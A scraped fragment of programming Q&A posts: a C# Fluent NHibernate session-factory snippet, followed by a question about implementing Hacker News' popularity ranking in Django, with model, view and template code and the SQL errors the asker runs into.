if that helps formulate a reply... private static ISessionFactory CreateSessionFactory() { ISessionFactory sessionFactory = null; const string autoMapExportDir = "AutoMapExport"; if( !Directory.Exists(autoMapExportDir) ) Directory.CreateDirectory(autoMapExportDir); try { var autoPersistenceModel = AutoMap.AssemblyOf<DlsAppOverlordExportRunData>() .Where(t => t.Namespace == "DlsAppAutomapped") .Conventions.Add( DefaultCascade.All() ) ; sessionFactory = Fluently.Configure() .Database(SQLiteConfiguration.Standard .UsingFile(DbFile) .ShowSql() ) .Mappings(m => m.AutoMappings.Add(autoPersistenceModel) .ExportTo(autoMapExportDir) ) .ExposeConfiguration(BuildSchema) .BuildSessionFactory() ; } catch (Exception e) { Debug.WriteLine(e); } return sessionFactory; }

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• Implementing a popularity algorithm in Django

  - by TheLizardKing

  I am creating a site similar to reddit and hacker news that has a database of links and votes. I am implementing hacker news' popularity algorithm and things are going pretty swimmingly until it comes to actually gathering up these links and displaying them. The algorithm is simple: Y Combinator's Hacker News: Popularity = (p - 1) / (t + 2)^1.5` Votes divided by age factor. Where` p : votes (points) from users. t : time since submission in hours. p is subtracted by 1 to negate submitter's vote. Age factor is (time since submission in hours plus two) to the power of 1.5.factor is (time since submission in hours plus two) to the power of 1.5. I asked a very similar question over yonder http://stackoverflow.com/questions/1964395/complex-ordering-in-django but instead of contemplating my options I choose one and tried to make it work because that's how I did it with PHP/MySQL but I now know Django does things a lot differently. My models look something (exactly) like this class Link(models.Model): category = models.ForeignKey(Category) user = models.ForeignKey(User) created = models.DateTimeField(auto_now_add = True) modified = models.DateTimeField(auto_now = True) fame = models.PositiveIntegerField(default = 1) title = models.CharField(max_length = 256) url = models.URLField(max_length = 2048) def __unicode__(self): return self.title class Vote(models.Model): link = models.ForeignKey(Link) user = models.ForeignKey(User) created = models.DateTimeField(auto_now_add = True) modified = models.DateTimeField(auto_now = True) karma_delta = models.SmallIntegerField() def __unicode__(self): return str(self.karma_delta) and my view: def index(request): popular_links = Link.objects.select_related().annotate(karma_total = Sum('vote__karma_delta')) return render_to_response('links/index.html', {'links': popular_links}) Now from my previous question, I am trying to implement the algorithm using the sorting function. An answer from that question seems to think I should put the algorithm in the select and sort then. I am going to paginate these results so I don't think I can do the sorting in python without grabbing everything. Any suggestions on how I could efficiently do this? EDIT This isn't working yet but I think it's a step in the right direction: from django.shortcuts import render_to_response from linkett.apps.links.models import * def index(request): popular_links = Link.objects.select_related() popular_links = popular_links.extra( select = { 'karma_total': 'SUM(vote.karma_delta)', 'popularity': '(karma_total - 1) / POW(2, 1.5)', }, order_by = ['-popularity'] ) return render_to_response('links/index.html', {'links': popular_links}) This errors out into: Caught an exception while rendering: column "karma_total" does not exist LINE 1: SELECT ((karma_total - 1) / POW(2, 1.5)) AS "popularity", (S... EDIT 2 Better error? TemplateSyntaxError: Caught an exception while rendering: missing FROM-clause entry for table "vote" LINE 1: SELECT ((vote.karma_total - 1) / POW(2, 1.5)) AS "popularity... My index.html is simply: {% block content %} {% for link in links %} karma-up {{ link.karma_total }} karma-down {{ link.title }} Posted by {{ link.user }} to {{ link.category }} at {{ link.created }} {% empty %} No Links {% endfor %} {% endblock content %} EDIT 3 So very close! Again, all these answers are great but I am concentrating on a particular one because I feel it works best for my situation. from django.db.models import Sum from django.shortcuts import render_to_response from linkett.apps.links.models import * def index(request): popular_links = Link.objects.select_related().extra( select = { 'popularity': '(SUM(links_vote.karma_delta) - 1) / POW(2, 1.5)', }, tables = ['links_link', 'links_vote'], order_by = ['-popularity'], ) return render_to_response('links/test.html', {'links': popular_links}) Running this I am presented with an error hating on my lack of group by values. Specifically: TemplateSyntaxError at / Caught an exception while rendering: column "links_link.id" must appear in the GROUP BY clause or be used in an aggregate function LINE 1: ...karma_delta) - 1) / POW(2, 1.5)) AS "popularity", "links_lin... Not sure why my links_link.id wouldn't be in my group by but I am not sure how to alter my group by, django usually does that.

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